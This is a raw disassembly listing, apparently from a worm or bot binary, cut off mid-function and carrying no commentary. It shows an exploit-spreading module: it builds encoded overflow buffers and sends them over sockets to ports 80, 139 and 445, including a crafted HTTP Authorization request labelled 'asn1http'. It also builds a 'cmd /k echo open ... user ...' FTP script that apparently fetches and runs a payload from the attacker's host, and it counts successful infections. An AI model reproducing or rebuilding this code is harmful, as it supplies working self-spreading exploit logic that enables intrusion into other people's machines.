		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_4029F5
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_4029F5
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4029F5
		lea	ecx, [ebp+var_20]
		call	sub_40297B
		push	offset loc_420950
		lea	ecx, [ebp+var_50]
		call	sub_402A29
		lea	ecx, [ebp+var_50]
		call	sub_40297B
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_402847
		lea	ecx, [ebp+var_58]
		call	sub_40297B
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_402A92
		lea	ecx, [ebp+var_58]
		call	sub_4028D6
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_402A29
		push	4
		push	offset dword_4205D4
		lea	ecx, [ebp+var_18]
		call	sub_4029F5
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_4029F5
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_4029F5
		lea	ecx, [ebp+var_18]
		call	sub_40297B
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_402A46
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_402A46
		lea	ecx, [ebp+var_40]
		call	sub_402A56
		lea	ecx, [ebp+var_18]
		call	sub_4028D6
		lea	ecx, [ebp+var_50]
		call	sub_4028D6
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_402A46
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_402A46
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_402A46
		lea	ecx, [ebp+var_38]
		call	sub_402A56
		lea	ecx, [ebp+var_20]
		call	sub_4028D6
		lea	ecx, [ebp+var_30]
		call	sub_4028D6
		lea	ecx, [ebp+var_40]
		call	sub_4028D6
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_4029F5
		lea	ecx, [ebp+var_28]
		call	sub_40297B
		push	2
		push	offset dword_420944
		lea	ecx, [ebp+var_28]
		call	sub_4029F5
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_402A46
		lea	ecx, [ebp+var_28]
		call	sub_402A56
		lea	ecx, [ebp+var_38]
		call	sub_4028D6
		lea	ecx, [ebp+var_10]
		call	sub_40283D
		lea	ecx, [ebp+var_8]
		call	sub_40283D
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_402A46
		lea	ecx, [ebp+var_10]
		call	sub_4028EF
		lea	ecx, [ebp+var_28]
		call	sub_4028D6
		push	offset dword_420940
		lea	ecx, [ebp+var_8]
		call	sub_402A29
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_402A46
		lea	ecx, [ebp+var_8]
		call	sub_4028EF
		lea	ecx, [ebp+var_10]
		call	sub_4028D6
		push	offset dword_42093C
		lea	ecx, [ebp+var_10]
		call	sub_402A29
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_402A46
		lea	ecx, [ebp+var_10]
		call	sub_4028EF
		lea	ecx, [ebp+var_8]
		call	sub_4028D6
		push	offset dword_420930
		lea	ecx, [ebp+var_8]
		call	sub_402A29
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_402A46
		lea	ecx, [ebp+var_8]
		call	sub_4028EF
		lea	ecx, [ebp+var_10]
		call	sub_4028D6
		push	offset dword_42092C
		lea	ecx, [ebp+var_48]
		call	sub_402A29
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_402A46
		lea	ecx, [ebp+var_8]
		call	sub_4028D6
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_402E13
; ---------------------------------------------------------------------------


loc_402E05:				; CODE XREF: sub_402AB1+1Bj
					; sub_402AB1+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_402E13:				; CODE XREF: sub_402AB1+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_402AB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402E17	proc near		; CODE XREF: sub_402EDB+A1p
					; sub_402EDB+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_41D1E0	; select
		cmp	eax, edi
		jnz	short loc_402E7E
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_41C9D6	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_402E82


loc_402E7E:				; CODE XREF: sub_402E17+54j
		xor	eax, eax
		jmp	short loc_402E92
; ---------------------------------------------------------------------------


loc_402E82:				; CODE XREF: sub_402E17+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_433AE0	; recv


loc_402E92:				; CODE XREF: sub_402E17+69j
		pop	edi
		pop	esi
		leave
		retn
sub_402E17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402E96	proc near		; CODE XREF: sub_402EDB+81p
					; sub_402EDB+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_433AC4	; ntohl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_433B18	; send
		cmp	eax, 4
		jz	short loc_402EC0
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_402EC0:				; CODE XREF: sub_402E96+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_433B18	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_402E96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402EDB	proc near		; CODE XREF: sub_402FB5+48p
					; sub_4032B0+181p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41279F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_402F04
		xor	al, al
		jmp	loc_402FB0
; ---------------------------------------------------------------------------


loc_402F04:				; CODE XREF: sub_402EDB+20j
		push	ebx
		push	0
		push	esi
		call	sub_411F70
		push	2Fh
		push	offset dword_420664
		push	esi
		call	sub_411FD0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_420694
		push	eax
		mov	[esi+2Fh], di
		call	sub_411FD0
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_411FD0
		push	6
		add	ebx, edi
		push	offset dword_4326FC
		push	ebx
		call	sub_411FD0
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_4205DC
		push	ebx
		call	sub_402E96
		add	esp, 48h
		test	al, al
		jnz	short loc_402F6C


loc_402F68:				; CODE XREF: sub_402EDB+B5j
		xor	bl, bl
		jmp	short loc_402FA7
; ---------------------------------------------------------------------------


loc_402F6C:				; CODE XREF: sub_402EDB+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_402E17
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_402E96
		add	esp, 1Ch
		test	al, al
		jz	short loc_402F68
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_402E17
		add	esp, 10h
		mov	bl, 1


loc_402FA7:				; CODE XREF: sub_402EDB+8Fj
		push	esi
		call	sub_412813
		pop	ecx
		mov	al, bl


loc_402FB0:				; CODE XREF: sub_402EDB+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402EDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FB5	proc near		; CODE XREF: sub_4032B0+167p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_4206A0
		push	[ebp+arg_0]
		call	dword_41D1DC	; send
		cmp	eax, 48h
		jnz	short loc_402FF0
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_402E17
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402FF0
		cmp	[ebp+var_20], 82h
		jz	short loc_402FF4


loc_402FF0:				; CODE XREF: sub_402FB5+1Bj
					; sub_402FB5+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_402FF4:				; CODE XREF: sub_402FB5+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_402EDB
		add	esp, 0Ch
		leave
		retn
sub_402FB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403007	proc near		; CODE XREF: sub_403053+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_41D238
		call	sub_412964
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_41D230
		fstp	[esp+10h+var_10]
		call	sub_412842
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_412964
		inc	eax
		leave
		retn
sub_403007	endp


; =============== S U B	R O U T	I N E =======================================



sub_403053	proc near		; CODE XREF: sub_4031F5+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_41CB33
		call	sub_412E30
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_4036CA
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_403007
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_403095
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_403645


loc_403095:				; CODE XREF: sub_403053+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_4031B2
		mov	ebx, [ebp+10h]


loc_4030A4:				; CODE XREF: sub_403053+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_4030AE
		push	3
		jmp	short loc_4030C0
; ---------------------------------------------------------------------------


loc_4030AE:				; CODE XREF: sub_403053+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_4030B8
		push	2
		jmp	short loc_4030C0
; ---------------------------------------------------------------------------


loc_4030B8:				; CODE XREF: sub_403053+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_4030C1
		push	1


loc_4030C0:				; CODE XREF: sub_403053+59j
					; sub_403053+63j
		pop	ebx


loc_4030C1:				; CODE XREF: sub_403053+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_41D248
		fstp	[esp+40h+var_40]
		call	sub_41298B
		pop	ecx
		pop	ecx
		call	sub_412964
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_403100
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_403100:				; CODE XREF: sub_403053+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40316E
		add	[ebp-18h], eax


loc_403152:				; CODE XREF: sub_403053+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_4206EC[eax]
		push	eax
		push	1
		call	sub_4034C7
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_403152


loc_40316E:				; CODE XREF: sub_403053+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40318C
		push	dword ptr [ebp+14h]
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_403520
		mov	[ebp-18h], edi


loc_40318C:				; CODE XREF: sub_403053+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_4031A6
		sub	esi, [ebp-1Ch]


loc_403197:				; CODE XREF: sub_403053+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_4034C7
		dec	esi
		jnz	short loc_403197


loc_4031A6:				; CODE XREF: sub_403053+13Fj
		cmp	[ebp+10h], edi
		ja	loc_4030A4
		push	1
		pop	ebx


loc_4031B2:				; CODE XREF: sub_403053+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_4036CA
		push	dword_41D240
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_403577
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_4036CA
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_403053	endp


; =============== S U B	R O U T	I N E =======================================



sub_4031F5	proc near		; CODE XREF: sub_4032B0+14Ap
		mov	eax, offset loc_41CB50
		call	sub_412E30
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_432708
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_403053
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41279F
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40323F
		xor	bl, bl
		jmp	short loc_403283
; ---------------------------------------------------------------------------


loc_40323F:				; CODE XREF: sub_4031F5+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_41D250
		cmp	ecx, ebx
		jnz	short loc_40324D
		mov	ecx, eax


loc_40324D:				; CODE XREF: sub_4031F5+54j
		cmp	[ebp+18h], ebx
		jz	short loc_403255
		mov	eax, [ebp+18h]


loc_403255:				; CODE XREF: sub_4031F5+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41246A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_433B18	; send
		cmp	eax, esi
		jz	short loc_40327A
		xor	bl, bl
		jmp	short loc_40327C
; ---------------------------------------------------------------------------


loc_40327A:				; CODE XREF: sub_4031F5+7Fj
		mov	bl, 1


loc_40327C:				; CODE XREF: sub_4031F5+83j
		push	edi
		call	sub_412813
		pop	ecx


loc_403283:				; CODE XREF: sub_4031F5+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_4036CA
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_4036CA
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4031F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4032B0	proc near		; CODE XREF: sub_405DDD+1E6p
					; DATA XREF: .nsp0:off_422884o

var_624		= byte ptr -624h
var_424		= byte ptr -424h
var_423		= byte ptr -423h
var_395		= byte ptr -395h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_BB		= byte ptr  0C3h

		push	ebp
		mov	ebp, esp
		sub	esp, 624h
		and	[ebp+var_424], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_423]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_424]
		push	offset sub_420898
		push	eax
		call	sub_411FD0
		add	esp, 0Ch
		mov	eax, offset byte_425BC0
		push	eax
		push	eax
		push	dword_432710
		push	[ebp+arg_0]
		call	sub_408045
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp+var_395]
		push	400h
		push	eax
		call	sub_41246A
		add	eax, 90h
		push	eax
		lea	eax, [ebp+var_424]
		push	eax
		push	164h
		lea	eax, [ebp+var_24]
		push	offset sub_420730
		push	eax
		call	sub_402AB1
		mov	ecx, [eax]
		xor	esi, esi
		mov	[ebp+var_8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_403356
		xor	eax, eax
		jmp	loc_4034BA
; ---------------------------------------------------------------------------


loc_403356:				; CODE XREF: sub_4032B0+9Dj
		mov	[ebp+var_C], esi


loc_403359:				; CODE XREF: sub_4032B0+1A9j
		test	esi, esi
		jnz	loc_40345F
		push	6
		push	1
		push	2
		call	dword_41D1D8	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403447
		xor	eax, eax
		lea	edi, [ebp+var_1A]
		stosd
		push	[ebp+arg_A0]
		stosd
		stosd
		stosw
		mov	[ebp+var_1C], 2
		call	dword_433AC8	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_433B08	; inet_addr
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	ebx
		call	dword_433A70	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40343C
		cmp	[ebp+arg_A0], 50h
		jnz	short loc_403404
		mov	al, [ebp+arg_BB]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp+var_20], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_4036CA
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		mov	ecx, esi
		call	sub_403706
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_4031F5
		add	esp, 1Ch
		jmp	short loc_403439
; ---------------------------------------------------------------------------


loc_403404:				; CODE XREF: sub_4032B0+112j
		cmp	[ebp+arg_A0], 8Bh
		jnz	short loc_40341E
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_402FB5
		jmp	short loc_403436
; ---------------------------------------------------------------------------


loc_40341E:				; CODE XREF: sub_4032B0+15Ej
		cmp	[ebp+arg_A0], 1BDh
		jnz	short loc_40343C
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_402EDB


loc_403436:				; CODE XREF: sub_4032B0+16Cj
		add	esp, 0Ch


loc_403439:				; CODE XREF: sub_4032B0+152j
		movzx	esi, al


loc_40343C:				; CODE XREF: sub_4032B0+105j
					; sub_4032B0+178j
		push	ebx
		call	dword_433B60	; closesocket
		test	esi, esi
		jnz	short loc_403452


loc_403447:				; CODE XREF: sub_4032B0+C2j
		push	3E8h
		call	dword_41D05C	; Sleep


loc_403452:				; CODE XREF: sub_4032B0+195j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 2
		jl	loc_403359


loc_40345F:				; CODE XREF: sub_4032B0+ABj
		lea	ecx, [ebp+var_8]
		call	sub_4028D6
		test	esi, esi
		jz	short loc_4034B8
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_A8]
		imul	eax, 3Ch
		add	eax, offset aAsn1http ;	"asn1http"
		push	eax
		push	offset dword_42095C
		lea	eax, [ebp+var_624]
		push	200h
		push	eax
		call	sub_41246A
		lea	eax, [ebp+var_624]
		push	eax
		call	sub_408E17
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		inc	dword_422888[eax]
		lea	eax, dword_422888[eax]


loc_4034B8:				; CODE XREF: sub_4032B0+1B9j
		mov	eax, esi


loc_4034BA:				; CODE XREF: sub_4032B0+A1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4032B0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41CB14


loc_4034BF:				; CODE XREF: sub_41CB14+3j
					; .nsp0:0041CB2Dj ...
		push	1
		call	sub_4036CA
		retn
; END OF FUNCTION CHUNK	FOR sub_41CB14

; =============== S U B	R O U T	I N E =======================================



sub_4034C7	proc near		; CODE XREF: sub_403053+110p
					; sub_403053+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_41D240
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_4034E1
		call	sub_41C680


loc_4034E1:				; CODE XREF: sub_4034C7+13j
		test	ebx, ebx
		jbe	short loc_403518
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_403645
		test	al, al
		jz	short loc_403518
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_411F70
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_403518:				; CODE XREF: sub_4034C7+1Cj
					; sub_4034C7+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4034C7	endp


; =============== S U B	R O U T	I N E =======================================



sub_403520	proc near		; CODE XREF: sub_403053+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_41D240
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40353A
		call	sub_41C680


loc_40353A:				; CODE XREF: sub_403520+13j
		test	ebx, ebx
		jbe	short loc_40356F
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_403645
		test	al, al
		jz	short loc_40356F
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_411FD0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40356F:				; CODE XREF: sub_403520+1Cj
					; sub_403520+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403520	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403577	proc near		; CODE XREF: sub_403053+17Cp
					; sub_41C6DA+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40358F
		call	sub_41C8AC


loc_40358F:				; CODE XREF: sub_403577+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_4035A1
		mov	esi, [ebp+arg_8]


loc_4035A1:				; CODE XREF: sub_403577+25j
		cmp	edi, ebx
		jnz	short loc_4035C3
		push	dword_41D240
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40373B
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40373B
		jmp	short loc_40363C
; ---------------------------------------------------------------------------


loc_4035C3:				; CODE XREF: sub_403577+2Cj
		test	esi, esi
		jbe	short loc_403606
		cmp	esi, eax
		jnz	short loc_403606
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_4035D7
		mov	eax, offset dword_41D250


loc_4035D7:				; CODE XREF: sub_403577+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_403606
		push	1
		mov	ecx, edi
		call	sub_4036CA
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_4035F2
		mov	eax, offset dword_41D250


loc_4035F2:				; CODE XREF: sub_403577+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40363C
; ---------------------------------------------------------------------------


loc_403606:				; CODE XREF: sub_403577+4Ej
					; sub_403577+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_403645
		test	al, al
		jz	short loc_40363C
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_403620
		mov	eax, offset dword_41D250


loc_403620:				; CODE XREF: sub_403577+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_411FD0
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40363C:				; CODE XREF: sub_403577+4Aj
					; sub_403577+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_403577	endp


; =============== S U B	R O U T	I N E =======================================



sub_403645	proc near		; CODE XREF: sub_403053+3Dp
					; sub_4034C7+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_403657
		call	sub_41C680


loc_403657:				; CODE XREF: sub_403645+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_403680
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_403680
		cmp	al, 0FFh
		jz	short loc_403680
		cmp	edi, edx
